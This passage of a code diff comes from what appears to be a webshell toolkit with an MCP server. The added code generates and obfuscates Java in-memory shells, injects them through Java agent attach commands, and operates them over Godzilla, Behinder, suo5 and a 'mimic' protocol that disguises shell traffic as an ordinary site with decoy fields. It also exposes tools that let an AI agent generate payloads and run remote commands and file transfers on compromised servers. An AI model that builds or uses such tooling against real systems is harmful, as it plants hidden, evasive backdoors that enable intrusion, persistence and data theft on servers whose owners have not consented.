+ body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
2157
+ }
2158
+ const baseHeaders = { ...BROWSER_HEADERS };
2159
+ if (secretIn === "query") delete baseHeaders["Content-Type"];
2160
+ else if (shape?.bodyTemplate) {
2161
+ const t = shape.bodyTemplate.trimStart();
2162
+ if (t.startsWith("--")) {
2163
+ const boundary = t.split(/\r?\n/, 1)[0].slice(2);
2164
+ baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
2165
+ } else {
2166
+ const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
2167
+ if (inferred) baseHeaders["Content-Type"] = inferred;
2168
+ else delete baseHeaders["Content-Type"];
2169
+ }
2170
+ } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
2171
+ const headers = buildHeaders(
2172
+ { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
2173
+ req.common
2174
+ );
2175
+ let res;
2176
+ try {
2177
+ res = await postRaw(requestUrl, body, {
2178
+ headers,
2179
+ timeoutMs: req.common.timeoutMs,
2180
+ insecure: req.common.insecure
2181
+ });
2182
+ } catch (err) {
2183
+ return {
2184
+ ok: false,
2185
+ error: err instanceof Error ? err.message : String(err),
2186
+ requestUrl,
2187
+ status: 0,
2188
+ durationMs: 0
2189
+ };
2190
+ }
2191
+ if (res.status !== 200) {
2192
+ return {
2193
+ ok: false,
2194
+ error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
2195
+ requestUrl,
2196
+ status: res.status,
2197
+ durationMs: res.durationMs
2198
+ };
2199
+ }
2200
+ const text = res.body.toString("utf8");
2201
+ const delimiters = templateDelimiters(
2202
+ ctx.profile ? profileTemplates(ctx.profile) : [],
2203
+ ctx.markers
2204
+ );
2205
+ let b64 = null;
2206
+ for (const d of delimiters) {
2207
+ b64 = extractBetween(text, d.left, d.right);
2208
+ if (b64 !== null) break;
2209
+ }
2210
+ if (b64 === null) {
2211
+ return {
2212
+ ok: false,
2213
+ error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
2214
+ requestUrl,
2215
+ status: res.status,
2216
+ durationMs: res.durationMs
2217
+ };
2218
+ }
2219
+ try {
2220
+ const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
2221
+ return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
2222
+ } catch {
2223
+ return {
2224
+ ok: false,
2225
+ error: "response decryption failed \u2014 wrong key?",
2226
+ requestUrl,
2227
+ status: res.status,
2228
+ durationMs: res.durationMs
2229
+ };
2230
+ }
2231
+ }
2232
+ var mimicProtocol = {
2233
+ name: "mimic",
2234
+ description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
2235
+ async test(req) {
2236
+ const started = Date.now();
2237
+ const tool = "mimic";
2238
+ const url = req.conn.url;
2239
+ let ctx;
2240
+ try {
2241
+ ctx = buildContext(req);
2242
+ } catch (err) {
2243
+ return {
2244
+ ok: false,
2245
+ tool,
2246
+ url,
2247
+ error: err instanceof Error ? err.message : String(err),
2248
+ durationMs: Date.now() - started
2249
+ };
2250
+ }
2251
+ const canary = randomString(12);
2252
+ const r = await roundTrip(req, ctx, `echo ${canary}`);
2253
+ if (!r.ok) {
2254
+ return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
2255
+ }
2256
+ if (!r.output.includes(canary)) {
2257
+ return {
2258
+ ok: false,
2259
+ tool,
2260
+ url,
2261
+ error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
2262
+ durationMs: Date.now() - started
2263
+ };
2264
+ }
2265
+ const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
2266
+ const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
2267
+ return {
2268
+ ok: true,
2269
+ tool,
2270
+ url,
2271
+ detail: `round-trip ok (${profileNote}; ${pathNote})`,
2272
+ durationMs: Date.now() - started
2273
+ };
2274
+ },
2275
+ async exec(req, command) {
2276
+ const started = Date.now();
2277
+ const tool = "mimic";
2278
+ const url = req.conn.url;
2279
+ let ctx;
2280
+ try {
2281
+ ctx = buildContext(req);
2282
+ } catch (err) {
2283
+ return {
2284
+ ok: false,
2285
+ tool,
2286
+ url,
2287
+ command,
2288
+ error: err instanceof Error ? err.message : String(err),
2289
+ durationMs: Date.now() - started
2290
+ };
2291
+ }
2292
+ const r = await roundTrip(req, ctx, command);
2293
+ if (!r.ok) {
2294
+ return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
2295
+ }
2296
+ return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
2297
+ }
2298
+ };
2299
+
2300
+ // src/connect/registry.ts
2301
+ var protocols = /* @__PURE__ */ new Map();
2302
+ function registerProtocol(protocol) {
2303
+ protocols.set(protocol.name, protocol);
2304
+ }
2305
+ function getProtocol(name) {
2306
+ return protocols.get(name);
2307
+ }
2308
+ function protocolNames(capability) {
2309
+ const all = [...protocols.values()];
2310
+ const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
2311
+ return usable.map((p) => p.name);
2312
+ }
2313
+ function requireProtocol(name) {
2314
+ const protocol = getProtocol(name);
2315
+ if (!protocol) {
2316
+ throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
2317
+ }
2318
+ return protocol;
2319
+ }
2320
+ function unsupportedMessage(protocol, capability) {
2321
+ return `protocol '${protocol.name}' does not support ${capability}`;
2322
+ }
2323
+ var godzillaProtocol = {
2324
+ name: "godzilla",
2325
+ description: "Godzilla JAVA_AES_BASE64 shell",
2326
+ test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
2327
+ exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
2328
+ ...common,
2329
+ os: options.os
2330
+ }),
2331
+ upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
2332
+ ...common,
2333
+ remoteCharset: options.remoteCharset
2334
+ }),
2335
+ download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
2336
+ ...common,
2337
+ remoteCharset: options.remoteCharset
2338
+ })
2339
+ };
2340
+ var behinderProtocol = {
2341
+ name: "behinder",
2342
+ description: "Behinder AES shell",
2343
+ test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
2344
+ exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
2345
+ upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
2346
+ download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
2347
+ };
2348
+ var suo5Protocol = {
2349
+ name: "suo5",
2350
+ description: "suo5 HTTP tunnel (connect test only)",
2351
+ test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
2352
+ };
2353
+ registerProtocol(godzillaProtocol);
2354
+ registerProtocol(behinderProtocol);
2355
+ registerProtocol(suo5Protocol);
2356
+ registerProtocol(mimicProtocol);
2357
+
1627
2358
  // src/core/localfile.ts
1628
- import { existsSync as existsSync2, readFileSync as readFileSync3, statSync } from "fs";
1629
- import { dirname as dirname2, join as join3, resolve } from "path";
2359
+ import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
2360
+ import { dirname as dirname2, join as join4, resolve } from "path";
1630
2361
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
1631
2362
  function remoteBasename(remotePath) {
1632
2363
  const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -1643,18 +2374,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
1643
2374
  );
1644
2375
  }
1645
2376
  target = name;
1646
- } else if (existsSync2(localArg) && statSync(localArg).isDirectory()) {
2377
+ } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
1647
2378
  if (!name) {
1648
2379
  throw new Error(
1649
2380
  `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
1650
2381
  );
1651
2382
  }
1652
- target = join3(localArg, name);
2383
+ target = join4(localArg, name);
1653
2384
  } else {
1654
2385
  target = localArg;
1655
2386
  }
1656
2387
  const abs = resolve(target);
1657
- if (existsSync2(abs)) {
2388
+ if (existsSync3(abs)) {
1658
2389
  if (statSync(abs).isDirectory()) {
1659
2390
  throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
1660
2391
  }
@@ -1663,13 +2394,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
1663
2394
  }
1664
2395
  }
1665
2396
  const parent = dirname2(abs);
1666
- if (!existsSync2(parent) || !statSync(parent).isDirectory()) {
2397
+ if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
1667
2398
  throw new Error(`local directory ${parent} does not exist`);
1668
2399
  }
1669
2400
  return abs;
1670
2401
  }
1671
2402
  function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
1672
- if (!existsSync2(localPath)) {
2403
+ if (!existsSync3(localPath)) {
1673
2404
  throw new Error(`local file ${localPath} does not exist`);
1674
2405
  }
1675
2406
  const stat = statSync(localPath);
@@ -1681,29 +2412,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
1681
2412
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
1682
2413
  );
1683
2414
  }
1684
- return readFileSync3(localPath);
2415
+ return readFileSync4(localPath);
1685
2416
  }
1686
2417
 
1687
2418
  // src/core/targets.ts
1688
- import { existsSync as existsSync3, mkdirSync as mkdirSync2, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
1689
- import { homedir as homedir3 } from "os";
1690
- import { dirname as dirname3, join as join4 } from "path";
1691
- var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
2419
+ import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2420
+ import { homedir as homedir4 } from "os";
2421
+ import { dirname as dirname3, join as join5 } from "path";
2422
+ var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1692
2423
  function checkName(kind, name) {
1693
- if (!NAME_RE.test(name)) {
2424
+ if (!NAME_RE2.test(name)) {
1694
2425
  throw new Error(
1695
2426
  `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
1696
2427
  );
1697
2428
  }
1698
2429
  }
1699
2430
  function targetStorePath() {
1700
- return process.env.MEMPARTY_TARGETS ?? join4(homedir3(), ".memparty", "targets.json");
2431
+ return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
1701
2432
  }
1702
2433
  function listProjects() {
1703
2434
  try {
1704
2435
  const file = targetStorePath();
1705
- if (!existsSync3(file)) return {};
1706
- const data = JSON.parse(readFileSync4(file, "utf8"));
2436
+ if (!existsSync4(file)) return {};
2437
+ const data = JSON.parse(readFileSync5(file, "utf8"));
1707
2438
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
1708
2439
  return data;
1709
2440
  }
@@ -1716,8 +2447,8 @@ function getProject(name) {
1716
2447
  }
1717
2448
  function writeProjects(projects) {
1718
2449
  const file = targetStorePath();
1719
- mkdirSync2(dirname3(file), { recursive: true });
1720
- writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
2450
+ mkdirSync3(dirname3(file), { recursive: true });
2451
+ writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
1721
2452
  `, { mode: 384 });
1722
2453
  }
1723
2454
  function saveProjectMeta(name, meta) {
@@ -1825,7 +2556,8 @@ function autoSaveShell(conn) {
1825
2556
  headerValue: conn.headerValue,
1826
2557
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1827
2558
  insecure: conn.insecure,
1828
- profile: conn.profile
2559
+ profile: conn.profile,
2560
+ upgradeProtocol: conn.upgradeProtocol
1829
2561
  });
1830
2562
  return `${projectName}/${shellName}`;
1831
2563
  }
@@ -1879,10 +2611,47 @@ function resolveConnection(ref, flags) {
1879
2611
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
1880
2612
  insecure: flags.insecure ?? stored?.insecure,
1881
2613
  profile: flags.profile ?? stored?.profile,
2614
+ upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
1882
2615
  targetName
1883
2616
  };
1884
2617
  }
1885
2618
 
2619
+ // src/core/obfuscation.ts
2620
+ function parseObfuscationOptions(input) {
2621
+ if (input === void 0 || input.trim() === "") return void 0;
2622
+ const options = {};
2623
+ for (const entry of input.split(/[,\n]/)) {
2624
+ const separator = entry.indexOf("=");
2625
+ const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
2626
+ if (separator < 0 || key === "") {
2627
+ throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
2628
+ }
2629
+ if (Object.hasOwn(options, key)) {
2630
+ throw new Error(`Duplicate obfuscation option "${key}".`);
2631
+ }
2632
+ const value = entry.slice(separator + 1).trim();
2633
+ if (value === "true" || value === "false") {
2634
+ options[key] = value === "true";
2635
+ } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
2636
+ options[key] = Number(value);
2637
+ } else {
2638
+ options[key] = value;
2639
+ }
2640
+ }
2641
+ return options;
2642
+ }
2643
+
2644
+ // src/core/agent.ts
2645
+ function supportsAgentLoadArguments(shellType, packer) {
2646
+ return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
2647
+ }
2648
+ function agentLoadExamples(agentArgs) {
2649
+ return [
2650
+ `java -jar agent.jar <pid> ${agentArgs}`,
2651
+ `jattach <pid> load instrument false agent.jar=${agentArgs}`
2652
+ ];
2653
+ }
2654
+
1886
2655
  // src/version.ts
1887
2656
  import { createRequire } from "module";
1888
2657
  var require2 = createRequire(import.meta.url);
@@ -1913,12 +2682,15 @@ var memShellInput = {
1913
2682
  shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
1914
2683
  shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
1915
2684
  packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
1916
- jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
2685
+ jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
1917
2686
  debug: z.boolean().optional(),
1918
2687
  byPassJavaModule: z.boolean().optional(),
1919
2688
  shrink: z.boolean().optional(),
1920
2689
  lambdaSuffix: z.boolean().optional(),
1921
2690
  probe: z.boolean().optional(),
2691
+ obfuscate: z.boolean().optional(),
2692
+ obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
2693
+ obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
1922
2694
  shellClassName: z.string().optional(),
1923
2695
  godzillaPass: z.string().optional(),
1924
2696
  godzillaKey: z.string().optional(),
@@ -1933,17 +2705,23 @@ var memShellInput = {
1933
2705
  shellClassBase64: z.string().optional(),
1934
2706
  urlPattern: z.string().optional(),
1935
2707
  injectorClassName: z.string().optional(),
1936
- staticInitialize: z.boolean().optional()
2708
+ staticInitialize: z.boolean().optional(),
2709
+ agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
2710
+ outputFile: z.string().optional().describe(
2711
+ "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
2712
+ )
1937
2713
  };
1938
2714
  var probeInput = {
1939
- probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
1940
- probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
2715
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
2716
+ probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
1941
2717
  packer: z.string(),
1942
2718
  jdk: z.string().optional(),
1943
2719
  debug: z.boolean().optional(),
1944
2720
  byPassJavaModule: z.boolean().optional(),
1945
2721
  shrink: z.boolean().optional(),
1946
2722
  lambdaSuffix: z.boolean().optional(),
2723
+ obfuscate: z.boolean().optional(),
2724
+ obfuscationOptions: memShellInput.obfuscationOptions,
1947
2725
  staticInitialize: z.boolean().optional(),
1948
2726
  shellClassName: z.string().optional(),
1949
2727
  host: z.string().optional(),
@@ -1951,7 +2729,31 @@ var probeInput = {
1951
2729
  sleepServer: z.string().optional(),
1952
2730
  server: z.string().optional(),
1953
2731
  reqParamName: z.string().optional(),
1954
- commandTemplate: z.string().optional()
2732
+ commandTemplate: z.string().optional(),
2733
+ respHeaderName: z.string().optional(),
2734
+ outputFile: memShellInput.outputFile
2735
+ };
2736
+ var bytecodeInput = {
2737
+ classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
2738
+ outputFile: z.string().optional().describe("also write the transformed class to this local file")
2739
+ };
2740
+ var bytecodeTransformInput = {
2741
+ ...bytecodeInput,
2742
+ packer: z.string().optional(),
2743
+ byPassJavaModule: z.boolean().optional(),
2744
+ staticInitialize: z.boolean().optional(),
2745
+ shrink: z.boolean().optional(),
2746
+ renamePackage: z.boolean().optional(),
2747
+ relocateFrom: z.string().optional(),
2748
+ relocateTo: z.string().optional(),
2749
+ entryMethod: z.string().optional(),
2750
+ newClassName: z.string().optional(),
2751
+ randomName: z.boolean().optional(),
2752
+ obfuscate: z.boolean().optional(),
2753
+ obfuscationOptions: memShellInput.obfuscationOptions,
2754
+ server: z.string().optional(),
2755
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
2756
+ respHeaderName: z.string().optional()
1955
2757
  };
1956
2758
  var connectInput = {
1957
2759
  name: z.string().optional().describe(
@@ -1965,7 +2767,8 @@ var connectInput = {
1965
2767
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
1966
2768
  suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
1967
2769
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
1968
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
2770
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
2771
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
1969
2772
  };
1970
2773
  var execInput = {
1971
2774
  name: z.string().optional().describe(
@@ -1982,7 +2785,8 @@ var execInput = {
1982
2785
  headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
1983
2786
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
1984
2787
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
1985
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
2788
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
2789
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
1986
2790
  };
1987
2791
  var transferConnInput = {
1988
2792
  name: execInput.name,
@@ -1994,6 +2798,7 @@ var transferConnInput = {
1994
2798
  headerValue: execInput.headerValue,
1995
2799
  insecure: execInput.insecure,
1996
2800
  timeoutMs: execInput.timeoutMs,
2801
+ upgradeProtocol: execInput.upgradeProtocol,
1997
2802
  remoteCharset: z.string().optional().describe(
1998
2803
  "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
1999
2804
  )
@@ -2021,12 +2826,82 @@ var targetSaveInput = {
2021
2826
  headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
2022
2827
  headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
2023
2828
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
2829
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
2024
2830
  projectRemark: z.string().optional().describe("project remark (merged into the project)"),
2025
2831
  projectCategory: z.string().optional().describe("project category (merged into the project)"),
2026
2832
  shellRemark: z.string().optional().describe("remark for this shell")
2027
2833
  };
2028
2834
  function createMcpServer(client) {
2029
2835
  const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
2836
+ server.registerTool(
2837
+ "bytecode_decode",
2838
+ {
2839
+ title: "Decode Java class",
2840
+ description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
2841
+ inputSchema: bytecodeInput
2842
+ },
2843
+ async (args) => {
2844
+ try {
2845
+ const result = await client.decodeBytecode(args.classBytesBase64);
2846
+ const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
2847
+ { packResult: result.classBytesBase64Str },
2848
+ { outFile: args.outputFile, decode: true }
2849
+ );
2850
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
2851
+ } catch (err) {
2852
+ return errorContent(err);
2853
+ }
2854
+ }
2855
+ );
2856
+ server.registerTool(
2857
+ "bytecode_transform",
2858
+ {
2859
+ title: "Transform Java class",
2860
+ description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
2861
+ inputSchema: bytecodeTransformInput
2862
+ },
2863
+ async (args) => {
2864
+ try {
2865
+ const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
2866
+ if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
2867
+ throw new Error("Package relocation requires relocateFrom and relocateTo.");
2868
+ }
2869
+ const {
2870
+ outputFile: outputPath,
2871
+ obfuscate: _obfuscate,
2872
+ obfuscationOptions,
2873
+ probeMethod,
2874
+ server: server2,
2875
+ respHeaderName,
2876
+ ...fields
2877
+ } = args;
2878
+ const request = {
2879
+ obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
2880
+ ...probeMethod === void 0 ? {} : {
2881
+ server: server2 ?? "Unknown",
2882
+ probe: {
2883
+ probeMethod,
2884
+ probeContent: "Bytecode",
2885
+ respHeaderName
2886
+ }
2887
+ }
2888
+ };
2889
+ const result = await client.transformBytecode({
2890
+ classBytesBase64: args.classBytesBase64,
2891
+ ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
2892
+ ...renamePackage ? { renamePackage } : {},
2893
+ ...request
2894
+ });
2895
+ const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
2896
+ { packResult: result.packResult ?? result.classBytesBase64Str },
2897
+ { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
2898
+ );
2899
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
2900
+ } catch (err) {
2901
+ return errorContent(err);
2902
+ }
2903
+ }
2904
+ );
2030
2905
  server.registerTool(
2031
2906
  "list_servers",
2032
2907
  { title: "List servers", description: "List supported servers and their shell types" },
@@ -2077,9 +2952,41 @@ function createMcpServer(client) {
2077
2952
  }
2078
2953
  }
2079
2954
  );
2955
+ server.registerTool(
2956
+ "list_shell_tool_configs",
2957
+ {
2958
+ title: "List shell tool configs",
2959
+ description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
2960
+ },
2961
+ async () => {
2962
+ try {
2963
+ return jsonContent(await client.getShellToolConfigs());
2964
+ } catch (err) {
2965
+ return errorContent(err);
2966
+ }
2967
+ }
2968
+ );
2969
+ server.registerTool(
2970
+ "list_obfuscation_options",
2971
+ {
2972
+ title: "List obfuscation options",
2973
+ description: "List class obfuscation option keys, defaults and valid values (v3+)"
2974
+ },
2975
+ async () => {
2976
+ try {
2977
+ return jsonContent(await client.getObfuscationOptions());
2978
+ } catch (err) {
2979
+ return errorContent(err);
2980
+ }
2981
+ }
2982
+ );
2080
2983
  server.registerTool(
2081
2984
  "generate_memshell",
2082
- { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
2985
+ {
2986
+ title: "Generate memory shell",
2987
+ description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
2988
+ inputSchema: memShellInput
2989
+ },
2083
2990
  async (args) => {
2084
2991
  const meta = {
2085
2992
  server: args.server,
@@ -2091,7 +2998,18 @@ function createMcpServer(client) {
2091
2998
  };
2092
2999
  const started = Date.now();
2093
3000
  try {
2094
- const response = await client.generateMemShell(buildMemShellRequest(args));
3001
+ if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
3002
+ throw new Error(
3003
+ "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
3004
+ );
3005
+ }
3006
+ const response = await client.generateMemShell(
3007
+ buildMemShellRequest({
3008
+ ...args,
3009
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
3010
+ })
3011
+ );
3012
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2095
3013
  logOp({
2096
3014
  category: "gen",
2097
3015
  action: "gen",
@@ -2100,7 +3018,14 @@ function createMcpServer(client) {
2100
3018
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
2101
3019
  meta
2102
3020
  });
2103
- return jsonContent(response);
3021
+ return jsonContent({
3022
+ ...response,
3023
+ ...outputFile === void 0 ? {} : { outputFile },
3024
+ ...args.agentArgs === void 0 ? {} : {
3025
+ agentArgs: args.agentArgs,
3026
+ agentLoadExamples: agentLoadExamples(args.agentArgs)
3027
+ }
3028
+ });
2104
3029
  } catch (err) {
2105
3030
  logOp({
2106
3031
  category: "gen",
@@ -2116,7 +3041,11 @@ function createMcpServer(client) {
2116
3041
  );
2117
3042
  server.registerTool(
2118
3043
  "generate_probe",
2119
- { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
3044
+ {
3045
+ title: "Generate probe shell",
3046
+ description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
3047
+ inputSchema: probeInput
3048
+ },
2120
3049
  async (args) => {
2121
3050
  const meta = {
2122
3051
  probeMethod: args.probeMethod,
@@ -2126,7 +3055,13 @@ function createMcpServer(client) {
2126
3055
  };
2127
3056
  const started = Date.now();
2128
3057
  try {
2129
- const response = await client.generateProbe(buildProbeRequest(args));
3058
+ const response = await client.generateProbe(
3059
+ buildProbeRequest({
3060
+ ...args,
3061
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
3062
+ })
3063
+ );
3064
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2130
3065
  logOp({
2131
3066
  category: "probe",
2132
3067
  action: "probe",
@@ -2135,7 +3070,7 @@ function createMcpServer(client) {
2135
3070
  detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
2136
3071
  meta
2137
3072
  });
2138
- return jsonContent(response);
3073
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
2139
3074
  } catch (err) {
2140
3075
  logOp({
2141
3076
  category: "probe",
@@ -2191,29 +3126,19 @@ function createMcpServer(client) {
2191
3126
  key: args.key,
2192
3127
  headerName: args.headerName,
2193
3128
  headerValue: args.headerValue,
2194
- insecure: args.insecure
3129
+ insecure: args.insecure,
3130
+ upgradeProtocol: args.upgradeProtocol
2195
3131
  });
2196
3132
  const common = {
2197
3133
  headerName: conn.headerName,
2198
3134
  headerValue: conn.headerValue,
2199
3135
  extraHeaders: conn.extraHeaders,
2200
3136
  timeoutMs: args.timeoutMs,
2201
- insecure: conn.insecure
3137
+ insecure: conn.insecure,
3138
+ upgradeProtocol: conn.upgradeProtocol
2202
3139
  };
2203
- let result;
2204
- switch (conn.tool) {
2205
- case "godzilla":
2206
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
2207
- break;
2208
- case "behinder":
2209
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
2210
- break;
2211
- case "suo5":
2212
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
2213
- break;
2214
- default:
2215
- throw new Error(`unknown tool ${String(conn.tool)}`);
2216
- }
3140
+ const options = { suo5Mode: args.suo5Mode };
3141
+ const result = await requireProtocol(conn.tool).test({ conn, common, options });
2217
3142
  let savedAs;
2218
3143
  if (result.ok && conn.targetName === void 0) {
2219
3144
  savedAs = autoSaveShell(conn);
@@ -2252,32 +3177,20 @@ function createMcpServer(client) {
2252
3177
  key: args.key,
2253
3178
  headerName: args.headerName,
2254
3179
  headerValue: args.headerValue,
2255
- insecure: args.insecure
3180
+ insecure: args.insecure,
3181
+ upgradeProtocol: args.upgradeProtocol
2256
3182
  });
2257
3183
  const common = {
2258
3184
  headerName: conn.headerName,
2259
3185
  headerValue: conn.headerValue,
2260
3186
  extraHeaders: conn.extraHeaders,
2261
3187
  timeoutMs: args.timeoutMs,
2262
- insecure: conn.insecure
3188
+ insecure: conn.insecure,
3189
+ upgradeProtocol: conn.upgradeProtocol
2263
3190
  };
2264
- let result;
2265
- switch (conn.tool) {
2266
- case "godzilla":
2267
- result = await execGodzilla(
2268
- conn.url,
2269
